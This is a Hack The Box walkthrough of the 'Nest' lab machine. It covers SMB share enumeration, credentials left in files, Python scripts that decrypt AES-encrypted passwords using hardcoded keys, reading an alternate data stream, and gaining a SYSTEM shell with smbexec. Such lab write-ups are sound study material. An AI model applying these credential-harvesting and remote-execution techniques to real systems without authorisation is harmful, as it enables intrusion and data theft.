HTB Writeup: Nest

Even files can have alternative behaviour

Enumeration

nmap

# Nmap 7.92 scan initiated Thu Jun 30 18:27:50 2022 as: nmap -sC -sV -T3 -oA nmap-tcp-all-ports -p- -iL ip.txt
Nmap scan report for 10.129.134.93 (10.129.134.93)
Host is up (0.085s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
4386/tcp open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
|     Reporting Service V1.2
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
|     Reporting Service V1.2
|     Unrecognised command
|   Help:
|     Reporting Service V1.2
|     This service allows users to run queries against databases using the legacy HQK format
|     AVAILABLE COMMANDS ---
|     LIST
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>
|     DEBUG <Password>
|_    HELP <Command>
Host script results:
|_clock-skew: 4s
| smb2-time:
|   date: 2022-06-30T13:02:24
|_  start_date: 2022-06-30T12:56:44
| smb2-security-mode:
|   2.1:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 30 18:32:59 2022 -- 1 IP address (1 host up) scanned in 309.02 seconds
  1. A SMB service is running on port 445. To enumerate, smbmap can be used with credentials of anonymous:anonymous for a guest session.

SMBMap

  1. On running SMBMap, following shares with READ permissions are found.

    1. Data
    2. Users

    Untitled

SMBClient

  1. Using smbclient.py, the shares are further enumerated.

  2. A set of credentials is found in the file located at \Shared\Templates\HR\Welcome Email.txtThe contents of the files are found to be:

    We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>
       
    You will find your home folder in the following location:
    \\HTB-NEST\Users\<USERNAME>
       
    If you have any issues accessing specific services or workstations, please inform the
    IT department and use the credentials below until all systems have been set up for you.
       
    Username: TempUser
    Password: welcome2019
       
    Thank you
    HR
    
  3. The credentials obtained are TempUser:welcome2019

  4. These credentials are then used to enumerate SMB Shares further.

  5. The new user has access to the IT folder in Data share. The filesystem is enumerated further.

  6. Another set of credentials is found in the file located at \IT\Configs\RU Scanner\RU_Config.xml The contents of files are:

    <?xml version="1.0"?>
    <ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <Port>389</Port>
      <Username>c.smith</Username>
      <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
    </ConfigFile>
    
  7. The password in xml file appears to be base64 encoded string. After decoding the string the output is found to be raw bytes.

    Untitled

User Access

  1. Another interesting file is found in the directory \IT\Configs\NotepadPlusPlus. The config.xml has a file history of the files edited on notepad++ by the users recently.

    Untitled

  2. The interesting file is \\HTB-NEST\Secure$\IT\Carl\Temp.txt

  3. Switching the share to Secure$, the attempt to cd in IT alone is blocked with STATUS_ACCESS_DENIED. Apparently the user tempUser doesn’t has access. But on changing the directory directly to IT/Carl/ was no error is found.

  4. Turns out, RU Scanner is an in-house software being developed by Carl and the project is located at \IT\Carl\VB Projects\WIP\RU

  5. The encryption cipher being used to store config file is found to be salted AES-256-CBC . The flaw in the code is the password (encryption-key), the salt and IVs are hardcoded in the the source code file Utils.vb

    Untitled

  6. The following python script can be used to obtain plaintext credentials form the base64 encoded string found the RU_Config.xml:

    #!/usr/bin/env python3
    import binascii
    import base64
    from Crypto.Cipher import AES
    from Crypto.Protocol import KDF
    from Crypto.Util.Padding import unpad
       
    password = "N3st22"
    salt = "88552299"
    ivs = b"464R5DFA5DL6LE28"
    iteration_for_key = 2
    key_len = 256//8
    ciphertext = "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="
       
    # Step 1: Create the key to be used with AES-256-CBC cipher
    key = KDF.PBKDF2(password, salt, count=iteration_for_key, dkLen=key_len)
       
    # Step 2: Create the cipher according to the file Utils.vb
    cipher = AES.new(key, AES.MODE_CBC, iv=ivs)
       
    # Step 3: Decrypt the base64 string using the created cipher.
    ciphertext_decoded = base64.b64decode(ciphertext)
    padded_plaintext = cipher.decrypt(ciphertext_decoded)
    plaintext = unpad(padded_plaintext, cipher.block_size)
       
    print(f"Password recovered: {plaintext}")
    

Untitled

  1. The credentials c.smith:xRxRxPANCAK3SxRxRx can be used to further enumerate the filesystem on SMB.

Privilege Escalation

Enumeration

ADS (Alternate Data Stream)

  1. A special folder named HQK Reporting is found in the directory //HTB-NEST/Users/C.Smith

  2. A file named Debug Mode Password.txt is present in the directory, but on normal get command via smbclient, the file downloaded turns out to be empty.

    Untitled

  3. On running allinfo command on the file in smbclient, it is found that the file is indeed not empty, 15 bytes in size and has 2 streams.

    1. stream: [::$DATA] : which returns empty file (default)
    2. stream: [:Password:$DATA] : which returns 15 bytes. (ADS: Alternate Data Stream)
  4. The file can be downloaded using alternate data stream with following commands in smbclient:

    altname "Debug Mode Password.txt"            # To get a name without spaces
    # DEBUGM~1.TXT
       
    get 'DEBUGM~1.TXT:Password:$DATA'
    # getting file \C.Smith\HQK Reporting\DEBUGM~1.TXT:Password:$DATA of size 15 as DEBUGM~1.TXT:Password:$DATA (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
    
  5. The file is stored by the name DEBUGM~1.TXT:Password:$DATA in current local working directory. The password is found to be WBQ201953D8w

  6. The file HQK_Config_Backup.xml shows that the service is running on port TCP/4386.

  7. The service can be connected to using telnet

    Untitled

    Untitled

  8. The DEBUG mode in HQK Service allows setting the directory.

  9. The default directory is set at C:\Program Files\HQK\ALL QUERIES. On moving up one directory using SETDIR .., there are 2 other directories present. LDAP and Logs.

    Untitled

  10. Inside LDAP, a configuration file is found, along with an executable, which was also present in \\HTB-NEST\Users\C.Smith\HQK Reporting\AD Integration Module, hqkldap.exe

  11. The contents of Ldap.conf contains another encrypted credential for the user Administrator:

    Domain=nest.local
    Port=389
    BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
    User=Administrator
    Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
    
  12. The hkqldap.exe is downloaded from SMB filesystem. On analyzing the file with https://github.com/dnSpy/dnSpy, it is found it’s the same encryption used earlier, with different password and salt.

    Untitled

  13. On modifying the previous file with new password, salt, and iteration values.

    #!/usr/bin/env python3
    import binascii
    import base64
    from Crypto.Cipher import AES
    from Crypto.Protocol import KDF
    from Crypto.Util.Padding import unpad
        
    password = "667912"
    salt = "1313Rf99"
    ivs = b"1L1SA61493DRV53Z"
    iteration_for_key = 3
    key_len = 256//8
    ciphertext = "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4="
        
    # Step 1: Create the key to be used with AES-256-CBC cipher
    key = KDF.PBKDF2(password, salt, count=iteration_for_key, dkLen=key_len)
        
    # Step 2: Create the cipher according to the file Utils.vb
    cipher = AES.new(key, AES.MODE_CBC, iv=ivs)
        
    # Step 3: Decrypt the base64 string using the created cipher.
    ciphertext_decoded = base64.b64decode(ciphertext)
    padded_plaintext = cipher.decrypt(ciphertext_decoded)
    plaintext = unpad(padded_plaintext, cipher.block_size)
        
    print(f"Password recovered: {plaintext}")
    

Untitled

  1. Using the credentials Administrator:XtH4nkS4Pl4y1nGX with smbexec.py, an semi-interactive shell with the privileges of NT System/Authority is achieved.

    Untitled

The remote target is now completely compromised.

Avatar
Mayank Malik
ISC2 CC | Threat and Malware Analyst | Incident Response | Security Researcher

I am a tech-savvy person, Threat & Malware Analyst, and like to wander around to learn new stuff. Malware Analysis, Cryptography, Networking, and System Administration are some of my forte. I’m also a geek for computer hardware and everything around it. One of the Founding Members of CTF Team, Abs0lut3Pwn4g3. Team member at HashMob.net. Apart from the mentioned skills, I’m good at communication skills and am a goal-driven person. Yellow belt holder at pwn.college in pursuit of learning and achieving Blue Belt.

Related